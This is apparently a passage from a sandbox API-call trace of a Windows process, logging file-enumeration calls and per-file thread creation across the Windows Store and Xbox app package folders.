	[0090.029] wcscat (in: _Dest=0x4719530, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\"
	[0090.029] wcscat (in: _Dest=0x4719530, _Source="ZXing.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\ZXing.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\ZXing.winmd"
	[0090.029] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4719530, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21a4
	[0090.029] FindNextFileW (in: hFindFile=0x46a7a98, lpFindFileData=0x502d2e8 | out: lpFindFileData=0x502d2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7e89f3, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb3e4adae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf834ea6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_Resources", cAlternateFileName="_RESOU~1")) returned 1
	[0090.030] wcscmp (_String1="_Resources", _String2=".") returned 1
	[0090.030] wcscmp (_String1="_Resources", _String2="..") returned 1
	[0090.030] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x47196d0
	[0090.030] wcscpy (in: _Dest=0x47196d0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe"
	[0090.030] wcscat (in: _Dest=0x47196d0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\"
	[0090.030] wcscat (in: _Dest=0x47196d0, _Source="_Resources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\_Resources") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\_Resources"
	[0090.030] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47196d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21a8
	[0090.030] FindNextFileW (in: hFindFile=0x46a7a98, lpFindFileData=0x502d2e8 | out: lpFindFileData=0x502d2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7e89f3, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb3e4adae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf834ea6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_Resources", cAlternateFileName="_RESOU~1")) returned 0
	[0090.030] FindClose (in: hFindFile=0x46a7a98 | out: hFindFile=0x46a7a98) returned 1
	[0090.031] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502d2e8) returned 1
	[0090.031] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47c87a0) returned 1
	[0090.031] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7db28) returned 1

Thread:
	id = 1048
	os_tid = 0x1cd0

	[0082.706] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x4925068
	[0082.706] wcscpy (in: _Dest=0x4925068, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe"
	[0082.706] wcscat (in: _Dest=0x4925068, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe\\"
	[0082.707] wcscat (in: _Dest=0x4925068, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe\\*"
	[0082.707] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502d550
	[0082.707] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe\\*", lpFindFileData=0x502d550 | out: lpFindFileData=0x502d550*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf703bd2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2076e87, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x2076e87, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7ad8
	[0082.709] wcscmp (_String1=".", _String2=".") returned 0
	[0082.709] FindNextFileW (in: hFindFile=0x46a7ad8, lpFindFileData=0x502d550 | out: lpFindFileData=0x502d550*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf703bd2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2076e87, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x2076e87, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.709] wcscmp (_String1="..", _String2=".") returned 1
	[0082.709] wcscmp (_String1="..", _String2="..") returned 0
	[0082.709] FindNextFileW (in: hFindFile=0x46a7ad8, lpFindFileData=0x502d550 | out: lpFindFileData=0x502d550*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf703bd2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xf703bd2, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xf703bd2, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x154, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0082.709] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0082.709] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0082.709] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4722a60
	[0082.709] wcscpy (in: _Dest=0x4722a60, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe"
	[0082.709] wcscat (in: _Dest=0x4722a60, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe\\"
	[0082.709] wcscat (in: _Dest=0x4722a60, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0090.007] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4722a60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1660
	[0090.008] FindNextFileW (in: hFindFile=0x46a7ad8, lpFindFileData=0x502d550 | out: lpFindFileData=0x502d550*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf703bd2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb40028af, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf703bd2, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0090.008] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0090.008] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0090.008] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd4) returned 0x477e810
	[0090.008] wcscpy (in: _Dest=0x477e810, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe"
	[0090.008] wcscat (in: _Dest=0x477e810, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe\\"
	[0090.008] wcscat (in: _Dest=0x477e810, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0090.008] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x477e810, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2154
	[0090.009] FindNextFileW (in: hFindFile=0x46a7ad8, lpFindFileData=0x502d550 | out: lpFindFileData=0x502d550*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf729e2b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xf750085, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xf750085, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x299a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0090.009] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0090.009] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0090.009] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4e327c8
	[0090.009] wcscpy (in: _Dest=0x4e327c8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe"
	[0090.009] wcscat (in: _Dest=0x4e327c8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe\\"
	[0090.009] wcscat (in: _Dest=0x4e327c8, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0090.009] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4e327c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2158
	[0090.010] FindNextFileW (in: hFindFile=0x46a7ad8, lpFindFileData=0x502d550 | out: lpFindFileData=0x502d550*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x2076e87, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x2076e87, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x2076e87, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0090.010] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0090.010] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0090.010] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfe) returned 0x50272a0
	[0090.010] wcscpy (in: _Dest=0x50272a0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe"
	[0090.010] wcscat (in: _Dest=0x50272a0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe\\"
	[0090.010] wcscat (in: _Dest=0x50272a0, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0090.010] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x50272a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x215c
	[0090.011] FindNextFileW (in: hFindFile=0x46a7ad8, lpFindFileData=0x502d550 | out: lpFindFileData=0x502d550*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x2076e87, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x2076e87, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x2076e87, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0
	[0090.011] FindClose (in: hFindFile=0x46a7ad8 | out: hFindFile=0x46a7ad8) returned 1
	[0090.012] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502d550) returned 1
	[0090.012] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4925068) returned 1
	[0090.012] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47700a0) returned 1

Thread:
	id = 1049
	os_tid = 0x1cd4

	[0082.710] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb2) returned 0x47c8860
	[0082.710] wcscpy (in: _Dest=0x47c8860, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe"
	[0082.710] wcscat (in: _Dest=0x47c8860, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe\\"
	[0082.710] wcscat (in: _Dest=0x47c8860, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe\\*"
	[0082.710] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502d7b8
	[0082.710] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe\\*", lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x722d4fa4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x4b15022, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4b15022, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7b58
	[0082.711] wcscmp (_String1=".", _String2=".") returned 0
	[0082.711] FindNextFileW (in: hFindFile=0x46a7b58, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x722d4fa4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x4b15022, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4b15022, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.712] wcscmp (_String1="..", _String2=".") returned 1
	[0082.712] wcscmp (_String1="..", _String2="..") returned 0
	[0082.712] FindNextFileW (in: hFindFile=0x46a7b58, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723e0023, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x723e0023, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x723e0023, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x154, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0082.712] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0082.712] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0082.712] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x46a57b8
	[0082.712] wcscpy (in: _Dest=0x46a57b8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe"
	[0082.712] wcscat (in: _Dest=0x46a57b8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe\\"
	[0082.712] wcscat (in: _Dest=0x46a57b8, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0089.989] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x46a57b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2110
	[0089.990] FindNextFileW (in: hFindFile=0x46a7b58, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x722d4fa4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb4075472, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x722d4fa4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0089.990] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0089.990] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0089.990] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x47e9840
	[0089.990] wcscpy (in: _Dest=0x47e9840, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe"
	[0089.990] wcscat (in: _Dest=0x47e9840, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe\\"
	[0089.990] wcscat (in: _Dest=0x47e9840, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0089.990] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47e9840, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2114
	[0089.991] FindNextFileW (in: hFindFile=0x46a7b58, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723e0023, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7240627c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7240627c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x299d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0089.991] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0089.991] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0089.991] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x477e030
	[0089.991] wcscpy (in: _Dest=0x477e030, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe"
	[0089.991] wcscat (in: _Dest=0x477e030, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe\\"
	[0089.991] wcscat (in: _Dest=0x477e030, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0089.991] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477e030, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2118
	[0089.991] FindNextFileW (in: hFindFile=0x46a7b58, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4b15022, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x4b15022, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4b15022, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0089.991] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0089.992] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0089.992] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x4777360
	[0089.992] wcscpy (in: _Dest=0x4777360, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe"
	[0089.992] wcscat (in: _Dest=0x4777360, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe\\"
	[0089.992] wcscat (in: _Dest=0x4777360, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0089.992] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4777360, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x211c
